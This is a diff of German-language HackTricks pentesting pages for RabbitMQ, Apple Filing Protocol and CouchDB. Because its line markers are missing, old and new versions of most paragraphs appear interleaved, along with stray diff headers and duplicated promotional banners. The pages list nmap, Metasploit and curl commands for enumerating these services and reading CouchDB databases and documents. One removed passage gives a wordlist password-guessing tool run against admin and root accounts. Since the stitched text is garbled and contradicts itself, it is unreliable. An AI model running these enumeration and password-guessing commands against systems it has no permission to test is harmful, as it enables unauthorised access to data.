* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) **und** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **GitHub-Repositories senden.**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Grundlegende Informationen
## Grundinformationen
Von [cloudamqp](https://www.cloudamqp.com/blog/2015-05-18-part1-rabbitmq-for-beginners-what-is-rabbitmq.html):
> **RabbitMQ** ist eine **Nachrichtenwarteschlangen-Software**, die auch als _Message Broker_ oder _Queue Manager_ bezeichnet wird. Einfach ausgedrückt handelt es sich um Software, in der Warteschlangen definiert sind, mit denen Anwendungen verbunden werden, um eine Nachricht oder Nachrichten zu übertragen.\
> Eine **Nachricht kann jede Art von Informationen enthalten**. Sie könnte zum Beispiel Informationen über einen Prozess oder eine Aufgabe enthalten, die auf einer anderen Anwendung starten soll (die sogar auf einem anderen Server sein könnte), oder es könnte sich einfach um eine einfache Textnachricht handeln. Die Queue-Manager-Software speichert die Nachrichten, bis eine empfangende Anwendung eine Nachricht aus der Warteschlange abruft. Die empfangende Anwendung verarbeitet dann die Nachricht.\
> **RabbitMQ** ist eine **Nachrichtenwarteschlangen-Software**, die auch als _Nachrichtenbroker_ oder _Warteschlangenmanager_ bekannt ist. Einfach gesagt; es ist Software, in der Warteschlangen definiert sind, mit denen Anwendungen verbunden sind, um eine Nachricht oder Nachrichten zu übertragen.\
> Eine **Nachricht kann jede Art von Informationen enthalten**. Sie könnte beispielsweise Informationen über einen Prozess oder eine Aufgabe enthalten, die in einer anderen Anwendung (die sogar auf einem anderen Server sein könnte) gestartet werden soll, oder es könnte sich einfach um eine einfache Textnachricht handeln. Die Warteschlangenmanager-Software speichert die Nachrichten, bis eine empfangende Anwendung sich verbindet und eine Nachricht von der Warteschlange abruft. Die empfangende Anwendung verarbeitet dann die Nachricht.\
Definition von .
**Standardport**: 5672,5671
@ -39,28 +40,6 @@ for k, v in conn.server_properties.items():
print(k, v)
```
### Automatisch
Automatisierung ist ein wichtiger Aspekt bei der Durchführung von Penetrationstests. Durch die Automatisierung von Aufgaben können Zeit und Ressourcen gespart werden, während gleichzeitig die Effizienz und Genauigkeit verbessert werden. Es gibt verschiedene Tools und Techniken, die verwendet werden können, um den Penetrationstestprozess zu automatisieren.
#### Skripting
Das Schreiben von Skripten ist eine gängige Methode zur Automatisierung von Penetrationstests. Skripte können verwendet werden, um wiederholte Aufgaben zu automatisieren und komplexe Abläufe zu vereinfachen. Skriptsprachen wie Python, Ruby und PowerShell sind beliebte Optionen für das Schreiben von Penetrationstest-Skripten.
#### Frameworks
Frameworks sind Sammlungen von Tools und Bibliotheken, die speziell für die Automatisierung von Penetrationstests entwickelt wurden. Diese Frameworks bieten eine Vielzahl von Funktionen und Funktionen, die den Penetrationstestprozess vereinfachen und beschleunigen können. Beispiele für Penetrationstest-Frameworks sind Metasploit, Burp Suite und OWASP ZAP.
#### Tools
Es gibt eine Vielzahl von Tools, die speziell für die Automatisierung von Penetrationstests entwickelt wurden. Diese Tools bieten Funktionen wie Schwachstellenscans, Exploit-Tests und Berichterstellung. Beispiele für automatisierte Penetrationstest-Tools sind Nessus, OpenVAS und Nikto.
#### CI/CD-Pipelines
Continuous Integration/Continuous Deployment (CI/CD)-Pipelines können auch zur Automatisierung von Penetrationstests verwendet werden. Durch die Integration von Penetrationstests in den CI/CD-Prozess können Schwachstellen frühzeitig erkannt und behoben werden. Dies hilft, die Sicherheit von Anwendungen und Systemen zu verbessern.
#### Fazit
Die Automatisierung von Penetrationstests ist ein wichtiger Schritt, um die Effizienz und Genauigkeit von Tests zu verbessern. Durch die Verwendung von Skripting, Frameworks, Tools und CI/CD-Pipelines können Penetrationstests effektiver und effizienter durchgeführt werden. Es ist jedoch wichtig zu beachten, dass die Automatisierung den menschlichen Faktor nicht vollständig ersetzen kann und dass manuelle Überprüfungen und Analysen weiterhin erforderlich sind.
```bash
nmap -sV -Pn -n -T4 -p 5672 --script amqp-info <IP>
@ -87,33 +66,34 @@ PORT STATE SERVICE VERSION
## Andere RabbitMQ-Ports
Auf [https://www.rabbitmq.com/networking.html](https://www.rabbitmq.com/networking.html) finden Sie, dass **RabbitMQ mehrere Ports verwendet**:
In [https://www.rabbitmq.com/networking.html](https://www.rabbitmq.com/networking.html) finden Sie, dass **RabbitMQ mehrere Ports verwendet**:
* **1883, 8883**: ([MQTT-Clients](http://mqtt.org) ohne und mit TLS, wenn das [MQTT-Plugin](https://www.rabbitmq.com/mqtt.html) aktiviert ist. [**Erfahren Sie hier mehr über das Pentesting von MQTT**](1883-pentesting-mqtt-mosquitto.md).
* **4369: epmd**, ein Peer-Discovery-Dienst, der von RabbitMQ-Nodes und CLI-Tools verwendet wird. [**Erfahren Sie hier mehr über das Pentesting dieses Dienstes**](4369-pentesting-erlang-port-mapper-daemon-epmd.md).
* **4369: epmd**, ein Peer-Discovery-Dienst, der von RabbitMQ-Knoten und CLI-Tools verwendet wird. [**Erfahren Sie hier mehr über das Pentesting dieses Dienstes**](4369-pentesting-erlang-port-mapper-daemon-epmd.md).
* **5672, 5671**: verwendet von AMQP 0-9-1 und 1.0-Clients ohne und mit TLS
* **15672**: [HTTP-API](https://www.rabbitmq.com/management.html)-Clients, [Management-Benutzeroberfläche](https://www.rabbitmq.com/management.html) und [rabbitmqadmin](https://www.rabbitmq.com/management-cli.html) (nur wenn das [Management-Plugin](https://www.rabbitmq.com/management.html) aktiviert ist). [**Erfahren Sie hier mehr über das Pentesting dieses Dienstes**](15672-pentesting-rabbitmq-management.md).
* 15674: STOMP-over-WebSockets-Clients (nur wenn das [Web STOMP-Plugin](https://www.rabbitmq.com/web-stomp.html) aktiviert ist)
* 15675: MQTT-over-WebSockets-Clients (nur wenn das [Web MQTT-Plugin](https://www.rabbitmq.com/web-mqtt.html) aktiviert ist)
* **15672**: [HTTP-API](https://www.rabbitmq.com/management.html) Clients, [Management-UI](https://www.rabbitmq.com/management.html) und [rabbitmqadmin](https://www.rabbitmq.com/management-cli.html) (nur wenn das [Management-Plugin](https://www.rabbitmq.com/management.html) aktiviert ist). [**Erfahren Sie hier mehr über das Pentesting dieses Dienstes**](15672-pentesting-rabbitmq-management.md).
* 15674: STOMP-über-WebSockets-Clients (nur wenn das [Web STOMP-Plugin](https://www.rabbitmq.com/web-stomp.html) aktiviert ist)
* 15675: MQTT-über-WebSockets-Clients (nur wenn das [Web MQTT-Plugin](https://www.rabbitmq.com/web-mqtt.html) aktiviert ist)
* 15692: Prometheus-Metriken (nur wenn das [Prometheus-Plugin](https://www.rabbitmq.com/prometheus.html) aktiviert ist)
* 25672: verwendet für die Kommunikation zwischen Nodes und CLI-Tools (Erlang-Distributions-Server-Port) und wird aus einem dynamischen Bereich zugewiesen (standardmäßig auf einen einzelnen Port begrenzt, berechnet als AMQP-Port + 20000). Sofern externe Verbindungen auf diese Ports nicht wirklich erforderlich sind (z. B. verwendet der Cluster [Federation](https://www.rabbitmq.com/federation.html) oder CLI-Tools werden auf Maschinen außerhalb des Subnetzes verwendet), sollten diese Ports nicht öffentlich zugänglich sein. Weitere Informationen finden Sie im [Networking-Leitfaden](https://www.rabbitmq.com/networking.html). **Nur 9 dieser Ports sind im Internet geöffnet**.
* 35672-35682: von CLI-Tools verwendet (Erlang-Distributions-Client-Ports) für die Kommunikation mit Nodes und wird aus einem dynamischen Bereich zugewiesen (berechnet als Server-Distributions-Port + 10000 bis Server-Distributions-Port + 10010). Weitere Informationen finden Sie im [Networking-Leitfaden](https://www.rabbitmq.com/networking.html).
* 61613, 61614: [STOMP-Clients](https://stomp.github.io/stomp-specification-1.2.html) ohne und mit TLS (nur wenn das [STOMP-Plugin](https://www.rabbitmq.com/stomp.html) aktiviert ist). Weniger als 10 Geräte mit diesem geöffneten Port und meistens UDP für DHT-Nodes.
* 25672: verwendet für die Kommunikation zwischen Knoten und CLI-Tools (Erlang-Distributionsserver-Port) und wird aus einem dynamischen Bereich zugewiesen (standardmäßig auf einen einzelnen Port beschränkt, berechnet als AMQP-Port + 20000). Es sei denn, externe Verbindungen auf diesen Ports sind wirklich notwendig (z. B. verwendet der Cluster [Federation](https://www.rabbitmq.com/federation.html) oder CLI-Tools werden auf Maschinen außerhalb des Subnetzes verwendet), sollten diese Ports nicht öffentlich zugänglich sein. Siehe [Netzwerkanleitung](https://www.rabbitmq.com/networking.html) für Details. **Nur 9 dieser Ports sind im Internet geöffnet**.
* 35672-35682: verwendet von CLI-Tools (Erlang-Distributionsclient-Ports) zur Kommunikation mit Knoten und wird aus einem dynamischen Bereich zugewiesen (berechnet als Server-Distributionsport + 10000 bis Server-Distributionsport + 10010). Siehe [Netzwerkanleitung](https://www.rabbitmq.com/networking.html) für Details.
* 61613, 61614: [STOMP-Clients](https://stomp.github.io/stomp-specification-1.2.html) ohne und mit TLS (nur wenn das [STOMP-Plugin](https://www.rabbitmq.com/stomp.html) aktiviert ist). Weniger als 10 Geräte mit diesem Port geöffnet und hauptsächlich UDP für DHT-Knoten.
## Shodan
* `AMQP`
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie das Hacken von AWS von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,23 +1,24 @@
# 548 - Pentesting Apple Filing Protocol (AFP)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie das Hacken von AWS von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Grundlegende Informationen
Das **Apple Filing Protocol** (**AFP**), früher bekannt als AppleTalk Filing Protocol, ist ein spezialisiertes Netzwerkprotokoll, das im **Apple File Service** (**AFS**) enthalten ist. Es ist darauf ausgelegt, Dateidienste für macOS und das klassische Mac OS bereitzustellen. AFP zeichnet sich durch die Unterstützung von Unicode-Dateinamen, POSIX- und Zugriffssteuerungslistenberechtigungen, Ressourcengabeln, benannten erweiterten Attributen und ausgefeilten Dateisperrmechanismen aus. Es war das Hauptprotokoll für Dateidienste in Mac OS 9 und früheren Versionen.
Das **Apple Filing Protocol** (**AFP**), früher bekannt als AppleTalk Filing Protocol, ist ein spezialisiertes Netzwerkprotokoll, das im **Apple File Service** (**AFS**) enthalten ist. Es wurde entwickelt, um Dateidienste für macOS und das klassische Mac OS bereitzustellen. AFP zeichnet sich durch die Unterstützung von Unicode-Dateinamen, POSIX- und Zugriffskontrolllistenberechtigungen, Ressourcen-Forks, benannten erweiterten Attributen und ausgeklügelten Dateisperrmechanismen aus. Es war das Hauptprotokoll für Dateidienste in Mac OS 9 und früheren Versionen.
**Standardport:** 548
```bash
@ -31,7 +32,7 @@ Für die Enumeration von AFP-Diensten sind die folgenden Befehle und Skripte nü
msf> use auxiliary/scanner/afp/afp_server_info
nmap -sV --script "afp-* and not dos and not brute" -p <PORT> <IP>
```
**Skripte und ihre Beschreibungen:**
**Skripte und deren Beschreibungen:**
- **afp-ls**: Dieses Skript wird verwendet, um die verfügbaren AFP-Volumes und Dateien aufzulisten.
- **afp-path-vuln**: Es listet alle AFP-Volumes und Dateien auf und hebt potenzielle Schwachstellen hervor.
@ -40,16 +41,17 @@ nmap -sV --script "afp-* and not dos and not brute" -p <PORT> <IP>
### [**Brute Force**](../generic-methodologies-and-resources/brute-force.md#afp)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,184 +1,71 @@
# 5984,6984 - Pentesting CouchDB
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories senden.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## **Grundlegende Informationen**
## **Grundinformationen**
**CouchDB** ist eine vielseitige und leistungsstarke **dokumentenorientierte Datenbank**, die Daten mithilfe einer **Schlüssel-Wert-Zuordnung** innerhalb jedes **Dokuments** organisiert. Felder innerhalb des Dokuments können als **Schlüssel/Wert-Paare, Listen oder Maps** dargestellt werden, was Flexibilität bei der Speicherung und Abfrage von Daten ermöglicht.
**CouchDB** ist eine vielseitige und leistungsstarke **dokumentenorientierte Datenbank**, die Daten mithilfe einer **Schlüssel-Wert-Karten**-Struktur innerhalb jedes **Dokuments** organisiert. Felder innerhalb des Dokuments können als **Schlüssel/Wert-Paare, Listen oder Karten** dargestellt werden, was Flexibilität bei der Datenspeicherung und -abfrage bietet.
Jedes in CouchDB gespeicherte **Dokument** erhält auf Dokumentenebene eine **eindeutige Kennung** (`_id`). Darüber hinaus wird jeder vorgenommene und in der Datenbank gespeicherte Änderung eine **Revisionsnummer** (`_rev`) zugewiesen. Diese Revisionsnummer ermöglicht eine effiziente **Verfolgung und Verwaltung von Änderungen**, erleichtert das einfache Abrufen und Synchronisieren von Daten in der Datenbank.
Jedes **Dokument**, das in CouchDB gespeichert ist, erhält eine **eindeutige Kennung** (`_id`) auf Dokumentenebene. Darüber hinaus wird jeder vorgenommenen und in der Datenbank gespeicherten Änderung eine **Versionsnummer** (`_rev`) zugewiesen. Diese Versionsnummer ermöglicht eine effiziente **Verfolgung und Verwaltung von Änderungen** und erleichtert die einfache Abfrage und Synchronisierung von Daten innerhalb der Datenbank.
**Standardport:** 5984 (http), 6984 (https)
**Standardport:** 5984(http), 6984(https)
```
PORT STATE SERVICE REASON
5984/tcp open unknown syn-ack
```
## **Automatische Enumeration**
Automatic enumeration is a crucial step in the process of pentesting CouchDB. It involves gathering information about the target system without any manual intervention. This can be done using various tools and techniques.
### **1. Nmap**
Nmap is a powerful network scanning tool that can be used to discover open ports and services running on a target system. To scan for CouchDB, you can use the following command:
```
nmap -p 5984 <target_ip>
```
### **2. Curl**
Curl is a command-line tool that allows you to make HTTP requests. You can use it to interact with the CouchDB API and gather information about the databases and documents present on the target system. Here are a few examples of curl commands that can be used for enumeration:
- To list all databases:
```
curl -X GET http://<target_ip>:5984/_all_dbs
```
- To retrieve information about a specific database:
```
curl -X GET http://<target_ip>:5984/<database_name>
```
- To retrieve a specific document from a database:
```
curl -X GET http://<target_ip>:5984/<database_name>/<document_id>
```
### **3. Fauxton**
Fauxton is the web-based administration interface for CouchDB. It provides a graphical user interface that allows you to manage and interact with CouchDB instances. By accessing Fauxton on the target system, you can gather information about the databases, documents, and users present on the CouchDB instance.
To access Fauxton, open a web browser and navigate to `http://<target_ip>:5984/_utils`.
### **4. Metasploit**
Metasploit is a popular penetration testing framework that includes a wide range of tools and modules for various tasks. It also provides modules for CouchDB enumeration. You can use the `couchdb_enum` module in Metasploit to automatically enumerate databases and documents on a CouchDB instance.
To use the `couchdb_enum` module, open Metasploit and run the following commands:
```
use auxiliary/scanner/couchdb/couchdb_enum
set RHOSTS <target_ip>
run
```
These are some of the tools and techniques that can be used for automatic enumeration of CouchDB during a pentesting engagement. By gathering information about the target system, you can gain valuable insights that can be used for further exploitation and vulnerability assessment.
## **Automatische Aufzählung**
```bash
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum
```
## Manuelle Enumeration
### Banner
Der Banner ist eine Information, die vom CouchDB-Server zurückgegeben wird, wenn eine Verbindung hergestellt wird. Es enthält Informationen wie die Version der CouchDB-Software und andere Details, die für einen Angreifer nützlich sein können. Um den Banner zu erhalten, kann das Tool `curl` verwendet werden:
```plaintext
curl -X GET http://<IP>:<Port>/
```
### Datenbanken auflisten
Um die vorhandenen Datenbanken auf dem CouchDB-Server aufzulisten, kann die folgende Anfrage verwendet werden:
```plaintext
curl -X GET http://<IP>:<Port>/_all_dbs
```
### Dokumente in einer Datenbank auflisten
Um die Dokumente in einer bestimmten Datenbank aufzulisten, kann die folgende Anfrage verwendet werden:
```plaintext
curl -X GET http://<IP>:<Port>/<Database_Name>/_all_docs
```
### Dokumente abrufen
Um ein bestimmtes Dokument aus einer Datenbank abzurufen, kann die folgende Anfrage verwendet werden:
```plaintext
curl -X GET http://<IP>:<Port>/<Database_Name>/<Document_ID>
```
### Ansichten abrufen
Um die Ansichten einer Datenbank abzurufen, kann die folgende Anfrage verwendet werden:
```plaintext
curl -X GET http://<IP>:<Port>/<Database_Name>/_design/<Design_Document_Name>/_view/<View_Name>
```
### Fehlende Berechtigungen überprüfen
Um zu überprüfen, ob ein Benutzer auf eine bestimmte Datenbank zugreifen kann, kann die folgende Anfrage verwendet werden:
```plaintext
curl -X GET http://<IP>:<Port>/<Database_Name> -u <Username>:<Password>
```
Wenn der Benutzer keine Berechtigung hat, wird eine Fehlermeldung zurückgegeben.
### Schwache Passwörter überprüfen
Um schwache Passwörter auf dem CouchDB-Server zu überprüfen, kann das Tool `couchdb-cracker` verwendet werden. Es kann mit dem folgenden Befehl installiert werden:
```plaintext
pip install couchdb-cracker
```
Nach der Installation kann das Tool wie folgt verwendet werden:
```plaintext
couchdb-cracker -u http://<IP>:<Port> -w <Wordlist_Path>
```
Das Tool versucht, sich mit den Benutzernamen "admin" und "root" und den Passwörtern aus der angegebenen Wortliste anzumelden.
```
curl http://IP:5984/
```
Dies sendet eine GET-Anfrage an eine installierte CouchDB-Instanz. Die Antwort sollte einer der folgenden ähnlich sehen:
Dies sendet eine GET-Anfrage an die installierte CouchDB-Instanz. Die Antwort sollte ungefähr wie eine der folgenden aussehen:
```bash
{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
```
{% hint style="info" %}
Beachten Sie, dass beim Zugriff auf die Wurzel von CouchDB eine `401 Unauthorized`-Fehlermeldung mit einer Meldung wie dieser angezeigt wird: `{"error":"unauthorized","reason":"Authentication required."}` **Sie können nicht auf** das Banner oder einen anderen Endpunkt zugreifen.
Beachten Sie, dass Sie, wenn Sie auf die Wurzel von CouchDB zugreifen und eine `401 Unauthorized`-Antwort mit etwas wie `{"error":"unauthorized","reason":"Authentication required."}` erhalten, **nicht auf** das Banner oder einen anderen Endpunkt zugreifen können.
{% endhint %}
### Info Enumeration
Dies sind die Endpunkte, auf die Sie mit einer **GET**-Anfrage zugreifen und einige interessante Informationen extrahieren können. Sie können [**weitere Endpunkte und detailliertere Beschreibungen in der CouchDB-Dokumentation**](https://docs.couchdb.org/en/latest/api/index.html) finden.
Dies sind die Endpunkte, auf die Sie mit einer **GET**-Anfrage zugreifen und einige interessante Informationen extrahieren können. Sie finden [**weitere Endpunkte und detailliertere Beschreibungen in der CouchDB-Dokumentation**](https://docs.couchdb.org/en/latest/api/index.html).
* **`/_active_tasks`** Liste der laufenden Aufgaben, einschließlich des Aufgabentyps, des Namens, des Status und der Prozess-ID.
* **`/_active_tasks`** Liste der laufenden Aufgaben, einschließlich des Aufgabentyps, Namens, Status und Prozess-ID.
* **`/_all_dbs`** Gibt eine Liste aller Datenbanken in der CouchDB-Instanz zurück.
* **`/_cluster_setup`** Gibt den Status des Knotens oder Clusters gemäß dem Cluster-Setup-Assistenten zurück.
* **`/_db_updates`** Gibt eine Liste aller Datenbankereignisse in der CouchDB-Instanz zurück. Das Vorhandensein der Datenbank `_global_changes` ist erforderlich, um diesen Endpunkt zu verwenden.
* **`/_db_updates`** Gibt eine Liste aller Datenbankereignisse in der CouchDB-Instanz zurück. Die Existenz der `_global_changes`-Datenbank ist erforderlich, um diesen Endpunkt zu verwenden.
* **`/_membership`** Zeigt die Knoten an, die Teil des Clusters sind, als `cluster_nodes`. Das Feld `all_nodes` zeigt alle Knoten an, die dieser Knoten kennt, einschließlich derjenigen, die Teil des Clusters sind.
* **`/_scheduler/jobs`** Liste der Replikationsaufträge. Jede Auftragsbeschreibung enthält Informationen über Quelle und Ziel, Replikations-ID, eine Historie der letzten Ereignisse und einige andere Dinge.
* **`/_scheduler/docs`** Liste der Replikationsdokumentzustände. Enthält Informationen zu allen Dokumenten, auch in den Zuständen `completed` und `failed`. Für jedes Dokument werden die Dokument-ID, die Datenbank, die Replikations-ID, Quelle und Ziel sowie andere Informationen zurückgegeben.
* **`/_scheduler/jobs`** Liste der Replikationsjobs. Jede Jobbeschreibung enthält Quell- und Zielinformationen, Replikations-ID, eine Historie der letzten Ereignisse und einige andere Dinge.
* **`/_scheduler/docs`** Liste der Replikationsdokumentzustände. Enthält Informationen über alle Dokumente, auch in `completed` und `failed` Zuständen. Für jedes Dokument werden die Dokument-ID, die Datenbank, die Replikations-ID, Quelle und Ziel sowie andere Informationen zurückgegeben.
* **`/_scheduler/docs/{replicator_db}`**
* **`/_scheduler/docs/{replicator_db}/{docid}`**
* **`/_node/{node-name}`** Der Endpunkt `/_node/{node-name}` kann verwendet werden, um den Erlang-Knotennamen des Servers zu bestätigen, der die Anfrage verarbeitet. Dies ist besonders nützlich, wenn Sie auf `/_node/_local` zugreifen, um diese Informationen abzurufen.
* **`/_node/{node-name}/_stats`** Die Ressource `_stats` gibt ein JSON-Objekt zurück, das die Statistiken für den laufenden Server enthält. Der Literalstring `_local` dient als Alias für den lokalen Knotennamen. Daher kann für alle Statistik-URLs `{node-name}` durch `_local` ersetzt werden, um mit den Statistiken des lokalen Knotens zu interagieren.
